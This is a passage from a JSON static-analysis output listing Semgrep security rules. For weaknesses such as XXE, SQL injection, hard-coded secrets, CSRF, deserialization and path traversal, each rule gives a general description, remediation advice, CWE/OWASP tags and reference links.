dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","id":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","name":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","id":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","name":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"help":{"markdown":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","id":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","name":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","id":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","name":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","id":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","name":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle","id":"python.lang.deserialization.tainted-pickle.tainted-pickle","name":"python.lang.deserialization.tainted-pickle.tainted-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pickle.tainted-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","id":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","name":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"help":{"markdown":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","id":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","name":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","id":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","name":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"help":{"markdown":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.session-fixation.session-fixation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://owasp.org/www-community/attacks/Session_fixation](https://owasp.org/www-community/attacks/Session_fixation)\n","text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"helpUri":"https://semgrep.dev/r/javascript.express.session-fixation.session-fixation","id":"javascript.express.session-fixation.session-fixation","name":"javascript.express.session-fixation.session-fixation","properties":{"precision":"very-high","tags":["CWE-384: Session Fixation","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.session-fixation.session-fixation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","id":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","name":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration 